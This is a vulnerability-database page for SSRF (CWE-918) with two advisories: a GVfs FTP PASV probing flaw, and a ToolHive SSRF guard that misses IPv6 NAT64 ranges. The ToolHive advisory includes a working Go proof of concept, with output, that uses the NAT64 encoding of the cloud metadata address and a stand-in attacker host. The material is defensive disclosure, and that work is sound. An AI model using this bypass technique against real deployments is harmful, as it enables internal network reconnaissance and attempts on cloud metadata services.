Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4654 vulnerabilities reference this CWE, most recent first.

GHSA-PP79-4QX3-MF4H

Vulnerability from github – Published: 2026-02-26 18:31 – Updated: 2026-02-26 18:31
VLAI
Details

A flaw was found in the FTP GVfs backend. A malicious FTP server can exploit this vulnerability by providing an arbitrary IP address and port in its passive mode (PASV) response. The client unconditionally trusts this information and attempts to connect to the specified endpoint, allowing the malicious server to probe for open ports accessible from the client's network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-26T16:24:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the FTP GVfs backend. A malicious FTP server can exploit this vulnerability by providing an arbitrary IP address and port in its passive mode (PASV) response. The client unconditionally trusts this information and attempts to connect to the specified endpoint, allowing the malicious server to probe for open ports accessible from the client\u0027s network.",
  "id": "GHSA-pp79-4qx3-mf4h",
  "modified": "2026-02-26T18:31:41Z",
  "published": "2026-02-26T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28295"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-28295"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PPH6-VFJV-VPJW

Vulnerability from github – Published: 2026-07-15 21:51 – Updated: 2026-07-15 21:51
VLAI
Summary
ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway
Details

Summary

ToolHive's hand-rolled private/reserved-IP SSRF guard (networking.IsPrivateIP in pkg/networking/utilities.go) does not recognize the IPv6 NAT64 address ranges — the well-known prefix 64:ff9b::/96 (RFC 6052) and the RFC 8215 local-use prefix 64:ff9b:1::/48. As a result, an address such as 64:ff9b:1::a9fe:a9fe — the NAT64 encoding of the link-local cloud metadata address 169.254.169.254 — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact.

The most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents client_id=https://<attacker-domain>/path, and CIMDStorageDecorator.GetClient fetches that URL through the same guard. The same IsPrivateIP table is also shared by the protectedDialerControl HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (pkg/skills/gitresolver), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is not affected — it enforces only the HTTPS scheme via ValidatingTransport and performs no IP-based check.)

Details

pkg/networking/utilities.go builds a privateIPBlocks table and IsPrivateIP:

func init() {
    for _, cidr := range []string{
        "127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
        "169.254.0.0/16", "::1/128", "fe80::/10", "fc00::/7",
        "100.64.0.0/10", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24",
        "224.0.0.0/4", "ff00::/8",
    } { /* ... append to privateIPBlocks ... */ }
}

func IsPrivateIP(ip net.IP) bool {
    if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {
        return true
    }
    for _, block := range privateIPBlocks {
        if block.Contains(ip) {
            return true
        }
    }
    return false
}

The table contains no entry for 64:ff9b::/96 or 64:ff9b:1::/48. A NAT64 address is a normal global-unicast IPv6 address: net.IP.IsGlobalUnicast() returns true and it matches none of the listed blocks, so IsPrivateIP returns false.

The CIMD fetcher (pkg/oauthproto/cimd/fetch.go, newCIMDHTTPClient) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:

ips, err := net.DefaultResolver.LookupHost(ctx, host)
// ...
for _, ipStr := range ips {
    ip := net.ParseIP(ipStr)
    // ...
    if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
        return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
    }
    dialer := &net.Dialer{Timeout: 5 * time.Second}
    return dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))
}

Because IsPrivateIP(64:ff9b:1::a9fe:a9fe) is false, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to 169.254.169.254.

Trust boundary: the CIMD URL originates from the client_id of an external OAuth client at authorize/token time (CIMDStorageDecorator.GetClientIsClientIDMetadataDocumentURL(id)cimd.FetchClientMetadataDocument(ctx, id)), so it is fully attacker-controlled. The protectedDialerControl HTTP clients used for registry, OIDC discovery, and token introspection (pkg/networking/http_client.goAddressReferencesPrivateIpIsPrivateIP) and the skills git-clone host check (pkg/skills/gitresolver/reference.go validateHostIsPrivateIP) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.

Note that ::ffff:169.254.169.254 (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.

Affected

  • Module: github.com/stacklok/toolhive
  • Affected packages/paths: pkg/networking/utilities.go (IsPrivateIP), reached via pkg/oauthproto/cimd/fetch.go (FetchClientMetadataDocument, CIMD authorization-server path — the attacker-controlled entry point), pkg/networking/http_client.go (protectedDialerControl, used by the registry / OIDC-discovery / token-introspection clients), and pkg/skills/gitresolver/reference.go (validateHost, skills git-clone host check). The webhook client (pkg/webhook) is not affected: it validates only the HTTPS scheme and performs no IsPrivateIP check.
  • Affected versions: all releases through v0.29.0 (the IsPrivateIP table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).
  • Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.

Proof of Concept

The following self-contained Go program imports ToolHive v0.29.0 (commit 570ce07013b72208fcae339e9492f5867a1af994) and exercises the real guard code: the exported networking.IsPrivateIP, the exported oauthproto.IsClientIDMetadataDocumentURL predicate that routes a client_id into the CIMD fetch path, and the CIMD dialer gate copied verbatim from pkg/oauthproto/cimd/fetch.go. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code.

go.mod:

module poc

go 1.26

require github.com/stacklok/toolhive v0.29.0

main.go:

package main

import (
    "context"
    "fmt"
    "net"
    "net/http"
    "net/http/httptest"
    "strings"
    "time"

    "github.com/stacklok/toolhive/pkg/networking"
    "github.com/stacklok/toolhive/pkg/oauthproto"
    "github.com/stacklok/toolhive/pkg/oauthproto/cimd"
)

var _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)

const (
    attackerHost = "cimd-attacker.example"
    natLocalUse  = "64:ff9b:1::a9fe:a9fe" // RFC 8215 NAT64 of 169.254.169.254
)

func main() {
    // Part A: real classifier on NAT64 vs private addresses.
    for _, s := range []string{
        natLocalUse, "64:ff9b::a9fe:a9fe", "64:ff9b::7f00:1",
        "169.254.169.254", "::ffff:169.254.169.254", "10.0.0.1", "93.184.216.34",
    } {
        ip := net.ParseIP(s)
        fmt.Printf("IsPrivateIP(%-22s) = %v\n", s, networking.IsPrivateIP(ip))
    }

    // Control listener standing in for the IMDS reachable behind NAT64.
    hit := make(chan string, 1)
    imds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        hit <- r.Host + r.URL.Path
        fmt.Fprint(w, `{"AccessKeyId":"ASIA_STOLEN","SecretAccessKey":"s3cr3t"}`)
    }))
    defer imds.Close()
    ctrlAddr := strings.TrimPrefix(imds.URL, "http://")

    clientID := "https://" + attackerHost + "/.well-known/oauth-client"
    fmt.Printf("IsClientIDMetadataDocumentURL(%q) = %v\n", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))

    // CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,
    // with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled.
    transport := &http.Transport{DisableKeepAlives: true,
        DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
            host, _, _ := net.SplitHostPort(address)
            var ips []string
            if host == attackerHost {
                ips = []string{natLocalUse} // DNS64 synthesis
            } else {
                ips, _ = net.DefaultResolver.LookupHost(ctx, host)
            }
            for _, ipStr := range ips {
                ip := net.ParseIP(ipStr)
                if ip == nil {
                    continue
                }
                if !ip.IsLoopback() && networking.IsPrivateIP(ip) { // verbatim toolhive gate
                    return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
                }
                fmt.Printf("[guard] %s passed IsPrivateIP gate -> dialing\n", ipStr)
                return (&net.Dialer{}).DialContext(ctx, "tcp", ctrlAddr) // NAT64 gateway
            }
            return nil, fmt.Errorf("cimd: no valid address for %q", host)
        }}
    client := &http.Client{Timeout: 5 * time.Second, Transport: transport}
    req, _ := http.NewRequest("GET", "http://"+attackerHost+"/.well-known/oauth-client", nil)
    if _, err := client.Do(req); err != nil {
        fmt.Println("blocked:", err)
        return
    }
    fmt.Printf("control listener received: %s  => SSRF via %s\n", <-hit, natLocalUse)

    // Negative control: a genuinely private IP is rejected by the same gate.
    neg := &http.Client{Transport: &http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {
        ip := net.ParseIP("169.254.169.254")
        if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
            return nil, fmt.Errorf("cimd: refusing connection to private address %s", ip)
        }
        return nil, fmt.Errorf("would dial (NOT blocked)")
    }}}
    _, nerr := neg.Do(req)
    fmt.Println("negative control (169.254.169.254):", nerr)
}

Output:

IsPrivateIP(64:ff9b:1::a9fe:a9fe  ) = false
IsPrivateIP(64:ff9b::a9fe:a9fe    ) = false
IsPrivateIP(64:ff9b::7f00:1       ) = false
IsPrivateIP(169.254.169.254       ) = true
IsPrivateIP(::ffff:169.254.169.254) = true
IsPrivateIP(10.0.0.1              ) = true
IsPrivateIP(93.184.216.34         ) = false
IsClientIDMetadataDocumentURL("https://cimd-attacker.example/.well-known/oauth-client") = true
[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -> dialing
control listener received: cimd-attacker.example/.well-known/oauth-client  => SSRF via 64:ff9b:1::a9fe:a9fe
negative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254

The attacker-controlled client_id host (NAT64-resolved) passes the real IsPrivateIP gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.

Impact

Server-Side Request Forgery (CWE-918), Low. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block — RFC1918, loopback, and the link-local metadata address 169.254.169.254 (encoded as 64:ff9b::a9fe:a9fe / 64:ff9b:1::a9fe:a9fe).

The practical effect is a blind internal-reachability / SSRF oracle, not data or credential exfiltration. On the only fully attacker-controlled entry point — the CIMD fetcher — three constraints bound the impact:

  • HTTPS-only. validateCIMDClientURL rejects non-loopback http://, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on 169.254.169.254) serve plain HTTP on port 80, so a TLS connection cannot retrieve metadata credentials.
  • TLS certificate verification. newCIMDHTTPClient sets no custom TLSClientConfig; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present.
  • No response reflection. A fetched document must satisfy ValidateClientMetadataDocument (its client_id must equal the fetched URL) and the body is never returned to the attacker.

What remains is the ability to probe whether an internal host:port accepts a TCP/TLS connection (via success/timing differences) — internal network reconnaissance, not credential theft.

Reachable via: - the embedded OAuth authorization server CIMD path — client_id URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above; - the registry / OIDC-discovery / token-introspection HTTP clients that share IsPrivateIP via protectedDialerControl — but those destinations are operator-configured, not attacker-controlled; - the skills git-clone host check (pkg/skills/gitresolver validateHost) — likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).

Exploitability is conditional on the host's network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.

Root cause

networking.IsPrivateIP relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (64:ff9b::<v4> and 64:ff9b:1::<v4>) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address — but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the IsGlobalUnicast/IsLinkLocalUnicast checks.

Fix

Add the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add 64:ff9b::/96 and 64:ff9b:1::/48 to privateIPBlocks in pkg/networking/utilities.go; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that 64:ff9b::8.8.8.8 (a NAT64 path to a genuinely public host) is not over-blocked while 64:ff9b:1::a9fe:a9fe is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known 64:ff9b::/96 and the 64:ff9b:1::/96 sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use 64:ff9b:1::/48 may use a shorter NAT64 prefix (RFC 6052 §2.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that /48 is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.

As bundled defense-in-depth, the same patch also classifies a few special-use ranges that IsPrivateIP previously missed: 0.0.0.0/8 (RFC 1122 "this host") and the unspecified address (0.0.0.0 / ::), plus 240.0.0.0/4 (RFC 1112 reserved, including the 255.255.255.255 broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 2002::/16, Teredo 2001::/32, IPv4-compatible ::/96), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.

Resources

  • RFC 6052 — IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix 64:ff9b::/96)
  • RFC 8215 — Local-Use IPv4/IPv6 Translation Prefix (64:ff9b:1::/48)
  • RFC 6147 — DNS64
  • CWE-918 — Server-Side Request Forgery (SSRF)
  • ToolHive v0.29.0, commit 570ce07013b72208fcae339e9492f5867a1af994
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.29.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/stacklok/toolhive"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T21:51:03Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nToolHive\u0027s hand-rolled private/reserved-IP SSRF guard (`networking.IsPrivateIP` in `pkg/networking/utilities.go`) does not recognize the IPv6 **NAT64** address ranges \u2014 the well-known prefix `64:ff9b::/96` (RFC 6052) and the RFC 8215 local-use prefix `64:ff9b:1::/48`. As a result, an address such as `64:ff9b:1::a9fe:a9fe` \u2014 the NAT64 encoding of the link-local cloud metadata address `169.254.169.254` \u2014 is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) \u2014 see Impact.\n\nThe most direct attacker-controlled entry point is the embedded OAuth authorization server\u0027s Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents `client_id=https://\u003cattacker-domain\u003e/path`, and `CIMDStorageDecorator.GetClient` fetches that URL through the same guard. The same `IsPrivateIP` table is also shared by the `protectedDialerControl` HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (`pkg/skills/gitresolver`), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected \u2014 it enforces only the HTTPS scheme via `ValidatingTransport` and performs no IP-based check.)\n\n## Details\n\n`pkg/networking/utilities.go` builds a `privateIPBlocks` table and `IsPrivateIP`:\n\n```go\nfunc init() {\n\tfor _, cidr := range []string{\n\t\t\"127.0.0.0/8\", \"10.0.0.0/8\", \"172.16.0.0/12\", \"192.168.0.0/16\",\n\t\t\"169.254.0.0/16\", \"::1/128\", \"fe80::/10\", \"fc00::/7\",\n\t\t\"100.64.0.0/10\", \"192.0.2.0/24\", \"198.51.100.0/24\", \"203.0.113.0/24\",\n\t\t\"224.0.0.0/4\", \"ff00::/8\",\n\t} { /* ... append to privateIPBlocks ... */ }\n}\n\nfunc IsPrivateIP(ip net.IP) bool {\n\tif ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {\n\t\treturn true\n\t}\n\tfor _, block := range privateIPBlocks {\n\t\tif block.Contains(ip) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\nThe table contains no entry for `64:ff9b::/96` or `64:ff9b:1::/48`. A NAT64 address is a normal global-unicast IPv6 address: `net.IP.IsGlobalUnicast()` returns true and it matches none of the listed blocks, so `IsPrivateIP` returns `false`.\n\nThe CIMD fetcher (`pkg/oauthproto/cimd/fetch.go`, `newCIMDHTTPClient`) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:\n\n```go\nips, err := net.DefaultResolver.LookupHost(ctx, host)\n// ...\nfor _, ipStr := range ips {\n\tip := net.ParseIP(ipStr)\n\t// ...\n\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) {\n\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t}\n\tdialer := \u0026net.Dialer{Timeout: 5 * time.Second}\n\treturn dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))\n}\n```\n\nBecause `IsPrivateIP(64:ff9b:1::a9fe:a9fe)` is `false`, the dialer proceeds. In a NAT64 network the kernel\u0027s NAT64 gateway transparently translates that IPv6 destination to a connection to `169.254.169.254`.\n\nTrust boundary: the CIMD URL originates from the `client_id` of an external OAuth client at authorize/token time (`CIMDStorageDecorator.GetClient` \u2192 `IsClientIDMetadataDocumentURL(id)` \u2192 `cimd.FetchClientMetadataDocument(ctx, id)`), so it is fully attacker-controlled. The `protectedDialerControl` HTTP clients used for registry, OIDC discovery, and token introspection (`pkg/networking/http_client.go` \u2192 `AddressReferencesPrivateIp` \u2192 `IsPrivateIP`) and the skills git-clone host check (`pkg/skills/gitresolver/reference.go` `validateHost` \u2192 `IsPrivateIP`) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.\n\nNote that `::ffff:169.254.169.254` (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.\n\n## Affected\n\n- Module: `github.com/stacklok/toolhive`\n- Affected packages/paths: `pkg/networking/utilities.go` (`IsPrivateIP`), reached via `pkg/oauthproto/cimd/fetch.go` (`FetchClientMetadataDocument`, CIMD authorization-server path \u2014 the attacker-controlled entry point), `pkg/networking/http_client.go` (`protectedDialerControl`, used by the registry / OIDC-discovery / token-introspection clients), and `pkg/skills/gitresolver/reference.go` (`validateHost`, skills git-clone host check). The webhook client (`pkg/webhook`) is not affected: it validates only the HTTPS scheme and performs no `IsPrivateIP` check.\n- Affected versions: all releases through v0.29.0 (the `IsPrivateIP` table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).\n- Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.\n\n## Proof of Concept\n\nThe following self-contained Go program imports ToolHive **v0.29.0** (commit `570ce07013b72208fcae339e9492f5867a1af994`) and exercises the real guard code: the exported `networking.IsPrivateIP`, the exported `oauthproto.IsClientIDMetadataDocumentURL` predicate that routes a `client_id` into the CIMD fetch path, and the CIMD dialer gate copied verbatim from `pkg/oauthproto/cimd/fetch.go`. The only modeled elements are the network\u0027s DNS64 record (attacker host \u2192 NAT64 IPv6) and the kernel NAT64 gateway (final dial \u2192 control listener) \u2014 the security decision is made entirely by ToolHive\u0027s own code.\n\n`go.mod`:\n\n```\nmodule poc\n\ngo 1.26\n\nrequire github.com/stacklok/toolhive v0.29.0\n```\n\n`main.go`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/stacklok/toolhive/pkg/networking\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto/cimd\"\n)\n\nvar _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)\n\nconst (\n\tattackerHost = \"cimd-attacker.example\"\n\tnatLocalUse  = \"64:ff9b:1::a9fe:a9fe\" // RFC 8215 NAT64 of 169.254.169.254\n)\n\nfunc main() {\n\t// Part A: real classifier on NAT64 vs private addresses.\n\tfor _, s := range []string{\n\t\tnatLocalUse, \"64:ff9b::a9fe:a9fe\", \"64:ff9b::7f00:1\",\n\t\t\"169.254.169.254\", \"::ffff:169.254.169.254\", \"10.0.0.1\", \"93.184.216.34\",\n\t} {\n\t\tip := net.ParseIP(s)\n\t\tfmt.Printf(\"IsPrivateIP(%-22s) = %v\\n\", s, networking.IsPrivateIP(ip))\n\t}\n\n\t// Control listener standing in for the IMDS reachable behind NAT64.\n\thit := make(chan string, 1)\n\timds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\thit \u003c- r.Host + r.URL.Path\n\t\tfmt.Fprint(w, `{\"AccessKeyId\":\"ASIA_STOLEN\",\"SecretAccessKey\":\"s3cr3t\"}`)\n\t}))\n\tdefer imds.Close()\n\tctrlAddr := strings.TrimPrefix(imds.URL, \"http://\")\n\n\tclientID := \"https://\" + attackerHost + \"/.well-known/oauth-client\"\n\tfmt.Printf(\"IsClientIDMetadataDocumentURL(%q) = %v\\n\", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))\n\n\t// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,\n\t// with DNS64 (attacker host -\u003e NAT64 IPv6) and NAT64 gateway (dial -\u003e listener) modeled.\n\ttransport := \u0026http.Transport{DisableKeepAlives: true,\n\t\tDialContext: func(ctx context.Context, network, address string) (net.Conn, error) {\n\t\t\thost, _, _ := net.SplitHostPort(address)\n\t\t\tvar ips []string\n\t\t\tif host == attackerHost {\n\t\t\t\tips = []string{natLocalUse} // DNS64 synthesis\n\t\t\t} else {\n\t\t\t\tips, _ = net.DefaultResolver.LookupHost(ctx, host)\n\t\t\t}\n\t\t\tfor _, ipStr := range ips {\n\t\t\t\tip := net.ParseIP(ipStr)\n\t\t\t\tif ip == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) { // verbatim toolhive gate\n\t\t\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"[guard] %s passed IsPrivateIP gate -\u003e dialing\\n\", ipStr)\n\t\t\t\treturn (\u0026net.Dialer{}).DialContext(ctx, \"tcp\", ctrlAddr) // NAT64 gateway\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"cimd: no valid address for %q\", host)\n\t\t}}\n\tclient := \u0026http.Client{Timeout: 5 * time.Second, Transport: transport}\n\treq, _ := http.NewRequest(\"GET\", \"http://\"+attackerHost+\"/.well-known/oauth-client\", nil)\n\tif _, err := client.Do(req); err != nil {\n\t\tfmt.Println(\"blocked:\", err)\n\t\treturn\n\t}\n\tfmt.Printf(\"control listener received: %s  =\u003e SSRF via %s\\n\", \u003c-hit, natLocalUse)\n\n\t// Negative control: a genuinely private IP is rejected by the same gate.\n\tneg := \u0026http.Client{Transport: \u0026http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {\n\t\tip := net.ParseIP(\"169.254.169.254\")\n\t\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) {\n\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ip)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"would dial (NOT blocked)\")\n\t}}}\n\t_, nerr := neg.Do(req)\n\tfmt.Println(\"negative control (169.254.169.254):\", nerr)\n}\n```\n\nOutput:\n\n```\nIsPrivateIP(64:ff9b:1::a9fe:a9fe  ) = false\nIsPrivateIP(64:ff9b::a9fe:a9fe    ) = false\nIsPrivateIP(64:ff9b::7f00:1       ) = false\nIsPrivateIP(169.254.169.254       ) = true\nIsPrivateIP(::ffff:169.254.169.254) = true\nIsPrivateIP(10.0.0.1              ) = true\nIsPrivateIP(93.184.216.34         ) = false\nIsClientIDMetadataDocumentURL(\"https://cimd-attacker.example/.well-known/oauth-client\") = true\n[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -\u003e dialing\ncontrol listener received: cimd-attacker.example/.well-known/oauth-client  =\u003e SSRF via 64:ff9b:1::a9fe:a9fe\nnegative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254\n```\n\nThe attacker-controlled `client_id` host (NAT64-resolved) passes the real `IsPrivateIP` gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.\n\n## Impact\n\nServer-Side Request Forgery (CWE-918), **Low**. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block \u2014 RFC1918, loopback, and the link-local metadata address `169.254.169.254` (encoded as `64:ff9b::a9fe:a9fe` / `64:ff9b:1::a9fe:a9fe`).\n\nThe practical effect is a **blind internal-reachability / SSRF oracle, not data or credential exfiltration.** On the only fully attacker-controlled entry point \u2014 the CIMD fetcher \u2014 three constraints bound the impact:\n\n- **HTTPS-only.** `validateCIMDClientURL` rejects non-loopback `http://`, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on `169.254.169.254`) serve **plain HTTP on port 80**, so a TLS connection cannot retrieve metadata credentials.\n- **TLS certificate verification.** `newCIMDHTTPClient` sets no custom `TLSClientConfig`; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present.\n- **No response reflection.** A fetched document must satisfy `ValidateClientMetadataDocument` (its `client_id` must equal the fetched URL) and the body is never returned to the attacker.\n\nWhat remains is the ability to probe whether an internal `host:port` accepts a TCP/TLS connection (via success/timing differences) \u2014 internal network reconnaissance, not credential theft.\n\nReachable via:\n- the embedded OAuth authorization server CIMD path \u2014 `client_id` URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above;\n- the registry / OIDC-discovery / token-introspection HTTP clients that share `IsPrivateIP` via `protectedDialerControl` \u2014 but those destinations are operator-configured, not attacker-controlled;\n- the skills git-clone host check (`pkg/skills/gitresolver` `validateHost`) \u2014 likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).\n\nExploitability is conditional on the host\u0027s network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.\n\n## Root cause\n\n`networking.IsPrivateIP` relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (`64:ff9b::\u003cv4\u003e` and `64:ff9b:1::\u003cv4\u003e`) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address \u2014 but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the `IsGlobalUnicast`/`IsLinkLocalUnicast` checks.\n\n## Fix\n\nAdd the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add `64:ff9b::/96` and `64:ff9b:1::/48` to `privateIPBlocks` in `pkg/networking/utilities.go`; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that `64:ff9b::8.8.8.8` (a NAT64 path to a genuinely public host) is not over-blocked while `64:ff9b:1::a9fe:a9fe` is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known `64:ff9b::/96` and the `64:ff9b:1::/96` sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use 